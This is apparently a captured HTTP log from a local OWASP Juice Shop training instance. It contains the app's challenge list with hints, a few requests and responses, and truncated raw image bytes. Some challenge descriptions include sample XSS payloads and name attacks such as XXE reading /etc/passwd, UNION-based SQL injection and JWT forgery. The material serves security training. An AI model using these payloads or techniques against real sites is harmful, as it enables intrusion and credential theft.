have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_find_the_carefully_hidden_score_board_page","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":1,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":75,"key":"securityPolicyChallenge","name":"Security Policy","category":"Miscellaneous","tags":"Good Practice","description":"Behave like any \\"white-hat\\" should before getting into the action.","difficulty":2,"hint":"Undoubtedly you want to read our security policy before conducting any research on our application.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_behave_like_any_white_hat_should_before_getting_into_the_action","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":76,"key":"persistedXssFeedbackChallenge","name":"Server-side XSS Protection","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> bypassing a <i>server-side</i> security mechanism.","difficulty":4,"hint":"The \\"Comment\\" field in the \\"Customer Feedback\\" screen is where you want to put your focus on.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_bypassing_a_server_side_security_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":77,"key":"hiddenImageChallenge","name":"Steganography","category":"Security through Obscurity","tags":"Shenanigans","description":"<a href=\\"/#/contact\\">Rat out</a> a notorious character hiding in plain sight in the shop. (Mention the exact name of the character)","difficulty":4,"hint":"No matter how good your eyes are, you will need tool assistance for this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-through-obscurity.html#_rat_out_a_notorious_character_hiding_in_plain_sight_in_the_shop","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":78,"key":"rceOccupyChallenge","name":"Successful RCE DoS","category":"Insecure Deserialization","tags":"Danger Zone","description":"Perform a Remote Code Execution that occupies the server for a while without using infinite loops.","difficulty":6,"hint":"Your attack payload must not trigger the protection against too many iterations.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/insecure-deserialization.html#_perform_a_remote_code_execution_that_occupies_the_server_for_a_while_without_using_infinite_loops","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":79,"key":"supplyChainAttackChallenge","name":"Supply Chain Attack","category":"Vulnerable Components","tags":"OSINT","description":"<a href=\\"/#/contact\\">Inform the development team</a> about a danger to some of <em>their</em> credentials. (Send them the URL of the <em>original report</em> or an assigned CVE or another identifier of this vulnerability)","difficulty":5,"hint":"This vulnerability will not affect any customer of the shop. It is aimed exclusively at its developers.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_development_team_about_a_danger_to_some_of_their_credentials","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":80,"key":"twoFactorAuthUnsafeSecretStorageChallenge","name":"Two Factor Authentication","category":"Broken Authentication","tags":null,"description":"Solve the 2FA challenge for user \\"wurstbrot\\". (Disabling, bypassing or overwriting his 2FA settings does not count as a solution)","difficulty":5,"hint":"The 2FA implementation requires to store a secret for every user. You will need to find a way to access this secret in order to solve this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_solve_the_2fa_challenge_for_user_wurstbrot","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":81,"key":"jwtUnsignedChallenge","name":"Unsigned JWT","category":"Vulnerable Components","tags":null,"description":"Forge an essentially unsigned JWT token that impersonates the (non-existing) user <i>jwtn3d@juice-sh.op</i>.","difficulty":5,"hint":"This challenge exploits a weird option that is supported when signing tokens with JWT.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_forge_an_essentially_unsigned_jwt_token","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":82,"key":"uploadSizeChallenge","name":"Upload Size","category":"Improper Input Validation","tags":null,"description":"Upload a file larger than 100 kB.","difficulty":3,"hint":"You can attach a small file to the \\"Complaint\\" form. Investigate how this upload actually works.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_upload_a_file_larger_than_100_kb","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":83,"key":"uploadTypeChallenge","name":"Upload Type","category":"Improper Input Validation","tags":null,"description":"Upload a file that has no .pdf or .zip extension.","difficulty":3,"hint":"You can attach a PDF or ZIP file to the \\"Complaint\\" form. Investigate how this upload actually works.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_upload_a_file_that_has_no_pdf_or_zip_extension","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":84,"key":"unionSqlInjectionChallenge","name":"User Credentials","category":"Injection","tags":null,"description":"Retrieve a list of all user credentials via SQL Injection.","difficulty":4,"hint":"Gather information on where user data is stored and how it is addressed. Then craft a corresponding UNION SELECT attack.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_retrieve_a_list_of_all_user_credentials_via_sql_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":85,"key":"videoXssChallenge","name":"Video XSS","category":"XSS","tags":"Danger Zone","description":"Embed an XSS payload <code></script><script>alert(`xss`)</script></code> into our promo video.","difficulty":6,"hint":"You have to reuse the vulnerability behind one other 6-star challenge to be able to solve this one.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_embed_an_xss_payload_into_our_promo_video","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":86,"key":"basketAccessChallenge","name":"View Basket","category":"Broken Access Control","tags":"Tutorial,Good for Demos","description":"View another user\'s shopping basket.","difficulty":2,"hint":"Have an eye on the HTTP traffic while shopping. Alternatively try to find a client-side association of users to their basket.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_view_another_users_shopping_basket","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":7,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":87,"key":"knownVulnerableComponentChallenge","name":"Vulnerable Library","category":"Vulnerable Components","tags":"OSINT","description":"<a href=\\"/#/contact\\">Inform the shop</a> about a vulnerable library it is using. (Mention the exact library name and version in your comment)","difficulty":4,"hint":"Report one of two possible answers via the \\"Customer Feedback\\" form. Do not forget to submit the library\'s version as well.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_shop_about_a_vulnerable_library_it_is_using","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":88,"key":"weirdCryptoChallenge","name":"Weird Crypto","category":"Cryptographic Issues","tags":null,"description":"<a href=\\"/#/contact\\">Inform the shop</a> about an algorithm or library it should definitely not use the way it does.","difficulty":2,"hint":"Report one of four possible answers via the \\"Customer Feedback\\" form.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_inform_the_shop_about_an_algorithm_or_library_it_should_definitely_not_use_the_way_it_does","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":89,"key":"redirectChallenge","name":"Allowlist Bypass","category":"Unvalidated Redirects","tags":"Prerequisite","description":"Enforce a redirect to a page you are not supposed to redirect to.","difficulty":4,"hint":"You have to find a way to beat the allowlist of allowed redirect URLs.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/unvalidated-redirects.html#_enforce_a_redirect_to_a_page_you_are_not_supposed_to_redirect_to","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":90,"key":"xxeFileDisclosureChallenge","name":"XXE Data Access","category":"XXE","tags":"Danger Zone","description":"Retrieve the content of <code>C:\\\\Windows\\\\system.ini</code> or <code>/etc/passwd</code> from the server.","difficulty":3,"hint":"The leverage point for this challenge is the deprecated B2B interface.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xxe.html#_retrieve_the_content_of_cwindowssystemini_or_etcpasswd_from_the_server","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":91,"key":"xxeDosChallenge","name":"XXE DoS","category":"XXE","tags":"Danger Zone","description":"Give the server something to chew on for quite a while.","difficulty":5,"hint":"It is not as easy as sending a large amount of data directly to the deprecated B2B interface.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xxe.html#_give_the_server_something_to_chew_on_for_quite_a_while","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":92,"key":"zeroStarsChallenge","name":"Zero Stars","category":"Improper Input Validation","tags":null,"description":"Give a devastating zero-star feedback to the store.","difficulty":1,"hint":"Before you invest time bypassing the API, you might want to play around with the UI a bit.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_give_a_devastating_zero_star_feedback_to_the_store","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":93,"key":"missingEncodingChallenge","name":"Missing Encoding","category":"Improper Input Validation","tags":"Shenanigans","description":"Retrieve the photo of Bjoern\'s cat in \\"melee combat-mode\\".","difficulty":1,"hint":"Check the Photo Wall for an image that could not be loaded correctly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_retrieve_the_photo_of_bjoerns_cat_in_melee_combat_mode","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":94,"key":"svgInjectionChallenge","name":"Cross-Site Imaging","category":"Security Misconfiguration","tags":"Contraption","description":"Stick <a href=\\"http://placekitten.com/\\" target=\\"_blank\\">cute cross-domain kittens</a> all over our delivery boxes.","difficulty":5,"hint":"This challenge would formally have to be in several categories as the developers made multiple gaffes for this to be possible.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_stick_cute_cross_domain_kittens_all_over_our_delivery_boxes","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":95,"key":"exposedMetricsChallenge","name":"Exposed Metrics","category":"Sensitive Data Exposure","tags":"Good Practice","description":"Find the endpoint that serves usage data to be scraped by a <a href=\\"https://github.com/prometheus/prometheus\\">popular monitoring system</a>.","difficulty":1,"hint":"Try to guess what URL the endpoint might have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_find_the_endpoint_that_serves_usage_data_to_be_scraped_by_a_popular_monitoring_system","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":96,"key":"freeDeluxeChallenge","name":"Deluxe Fraud","category":"Improper Input Validation","tags":null,"description":"Obtain a Deluxe Membership without paying for it.","difficulty":3,"hint":"Look closely at what happens when you attempt to upgrade your account.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_obtain_a_deluxe_membership_without_paying_for_it","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":97,"key":"csrfChallenge","name":"CSRF","category":"Broken Access Control","tags":null,"description":"Change the name of a user by performing Cross-Site Request Forgery from <a href=\\"http://htmledit.squarefree.com\\">another origin</a>.","difficulty":3,"hint":"Find a form which updates the username and then construct a malicious page in the online HTML editor. You probably need an older browser version for this.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_change_the_name_of_a_user_by_performing_cross_site_request_forgery_from_another_origin","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":98,"key":"xssBonusChallenge","name":"Bonus Payload","category":"XSS","tags":"Shenanigans,Tutorial","description":"Use the bonus payload <code><iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe></code> in the <i>DOM XSS</i> challenge.","difficulty":1,"hint":"Copy + Paste = Solved!","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_use_the_bonus_payload_in_the_dom_xss_challenge","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":3,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":99,"key":"resetPasswordUvoginChallenge","name":"Reset Uvogin\'s Password","category":"Sensitive Data Exposure","tags":"OSINT","description":"Reset Uvogin\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":4,"hint":"You might have to do some OSINT on his social media personas to find out his honest answer to the security question.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_reset_uvogins_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":100,"key":"geoStalkingMetaChallenge","name":"Meta Geo Stalking","category":"Sensitive Data Exposure","tags":"OSINT","description":"Determine the answer to John\'s security question by looking at an upload of him to the Photo Wall and use it to reset his password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism.","difficulty":2,"hint":"Take a look at the meta data of the corresponding photo.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_determine_the_answer_to_johns_security_question","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":101,"key":"geoStalkingVisualChallenge","name":"Visual Geo Stalking","category":"Sensitive Data Exposure","tags":"OSINT","description":"Determine the answer to Emma\'s security question by looking at an upload of her to the Photo Wall and use it to reset her password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism.","difficulty":2,"hint":"Take a look at the details in the photo to determine the location of where it was taken.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_determine_the_answer_to_emmas_security_question","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":102,"key":"killChatbotChallenge","name":"Kill Chatbot","category":"Vulnerable Components","tags":"Code Analysis","description":"Permanently disable the support chatbot so that it can no longer answer customer queries.","difficulty":5,"hint":"Think of a way to get a hold of the internal workings on the chatbot API.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_permanently_disable_the_support_chatbot","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":103,"key":"nullByteChallenge","name":"Poison Null Byte","category":"Improper Input Validation","tags":"Prerequisite","description":"Bypass a security control with a <a href=\\"https://hakipedia.com/index.php/Poison_Null_Byte\\">Poison Null Byte</a> to access a file not meant for your eyes.","difficulty":4,"hint":"Take a look at the details in the photo to determine the location of where it was taken.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_bypass_a_security_control_with_a_poison_null_byte","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":104,"key":"bullyChatbotChallenge","name":"Bully Chatbot","category":"Miscellaneous","tags":"Shenanigans,Brute Force","description":"Receive a coupon code from the support chatbot.","difficulty":1,"hint":"Just keep asking.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_receive_a_coupon_code_from_the_support_chatbot","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":105,"key":"lfrChallenge","name":"Local File Read","category":"Vulnerable Components","tags":"OSINT,Danger Zone","description":"Gain read access to an arbitrary local file on the web server.","difficulty":5,"hint":"You should read up on vulnerabilities in popular NodeJs template engines.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_gain_read_access_to_an_arbitrary_local_file_on_the_web_server","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":106,"key":"closeNotificationsChallenge","name":"Mass Dispel","category":"Miscellaneous","tags":null,"description":"Close multiple \\"Challenge solved\\"-notifications in one go.","difficulty":1,"hint":"Either check the official documentation or inspect a notification UI element directly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_close_multiple_challenge_solved_notifications_in_one_go","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"}]}'
GET http://localhost:3000/api/Challenges/?name=Score%20Board HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 648\r\nETag: W/"288-+6MXCxbAAzddYJ6OcfJM5xJ4Tgg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:55 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"status":"success","data":[{"id":74,"key":"scoreBoardChallenge","name":"Score Board","category":"Miscellaneous","tags":"Tutorial,Code Analysis","description":"Find the carefully hidden \'Score Board\' page.","difficulty":1,"hint":"Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_find_the_carefully_hidden_score_board_page","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":1,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"}]}'
GET http://localhost:3000/assets/public/images/products/apple_juice.jpg HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: image/avif,image/webp,*/* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"3bbb-18df12a536e"\r\nContent-Type: image/jpeg\r\nContent-Length: 15291\r\nDate: Tue, 05 Mar 2024 22:31:28 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x04\x03\x02\x02\x03\x04\x05\x04\x04\x04\x04\x04\x05\x06\x05\x05\x05\x05\x05\x05\x06\x06\x07\x07\x08\x07\x07\x06\t\t\n\n\t\t\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x01\x03\x03\x03\x05\x04\x05\t\x06\x06\t\r\n\t\n\r\x0f\x0e\x0e\x0e\x0e\x0f\x0f\x0c\x0c\x0c\x0c\x0c\x0f\x0f\x0c\x0c\x0c\x0c\x0c\x0c\x0f\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\xff\xc2\x00\x11\x08\x017\x01\x17\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1e\x00\x01\x00\x01\x04\x03\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x05\x07\x08\n\x01\x04\x06\x03\x02\xff\xda\x00\x08\x01\x01\x00\x00\x00\x00\x9e\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x9e%e\xc8\x00\x00\x00\x1c`\xac"y\xfd\xa8}(\x00\x00\x00b\x9c\x15\xd9\x19\xb5\x92\xde\xe0\x00\x00\x005n\xcdi\xa6\xaa\x80\x00\x00\x00\xd4_d\xac\x9e\x00\x00\x00\x01\xf9\xd3\x13o[\x90\x00\x00\x00\x03\xc5i\xcf\xba?\xd8\x00\x00\x00\x06:k\x1f\xb7\xd8\x00\x00\x02\xd4\xc5%\xaf\x0bc\x86R7\xf6\xcb\xb98\xec\x00\x00\x05?R\xbc\x8d\xbf\xdc\x8c[\xb2R#\xf0\x8f\x99:\x9a\xb0\x00\x00\xc3Mr\xb6\xab\xe4!\xfa\xcb\xcfW\x18]\x08\xbbor\x00\x00!\x02\xcb\xce\x98s\x06>\xc6g\x14\x8dK\xb6\xc9\xbe`\x00\x04y\xeb\xff\x00^\xba`\xc7\xff\x00Kv\xcca\xcb\xfd\x89\xae\xa0\x00\x03Qk\xf3p\x80\x03\x12\xa5\x1ag@\x00\x10\xcd\x07\x7f^A\xf2\xfd\xfe\x8f\xcf\xa8\xdak%\xc0\x00\x1egM\x1d\xa8n\xf8s\xa9\xc6\xc4YHFt{\xed\x1a\x00\x004\xe4\xd8C-\xf9p\xe9j\x11\xb5e\xd8!\xd6\xd7l^\x00\x005C\x95i\x14\xe7\x8f\xca\xd5j\x9f\xb7\xadB\x95\x8e\x91?\x90\xd3\x9c\x00\x005\xa5\xc9\xf9j\xfa~~L]\xd7kl~q\xb3X\x84\xc8\xcb\xb5\xd0\xfb\x00\x00 \x1e\x8f7\xff\x00o\xcf\xc1\x82P\xe3\xb0\xfc\x17aG\x19\xb7\x88\x97\x03`\x9c\xf0\x00\x00CN\x18l\'\xd9\xfc\xf5\x91s\x82\xf3\x97\xac6`\xdeh\xbeS$\xf7\xc7\xd7\xf3^P\xea\xe0\x00\x8c\xa8y\xd9\xa3\xbb\xc7I\x0f\x96\xf2]c\x92\x18\xab<t\x17_\xdf\xd3\xec\xb6[l\xe1Q\x00\x0c)\xd7\x0bi\xca\xf7[\xc8\xf9\xac\x12\xade\x96\xbf\x9f\x0b\xe7N\xc7\x0f\x0b^\xc8\xcb\xc5oq\x02{\xe54\x00,N\xa3\x9bGW>\xdeO\x8b#\xe8\xba\x1a\xea\xc8M\xf2\xab[O\x01\xdd\xee\xf3E\xc6\x1c\xaa\xd9\x1c\x00<\xee\x9a\x1b9\xddjW\x8b\xf9?X\xeb\x04R\x03~+>\x0e\xd5rt\xb1\xbf\xd6\xedR\x00\r:\xe7\xa30\xbb\x9e>\x9d\xfb\xa9\xe2\xae\xbd\xd2\x15\xfa\xa8S\x82\x9f\x8c\xb7\xcbg\x10\x00j\x95&r+S\xa0u\x8f\x01\xab,\x80z 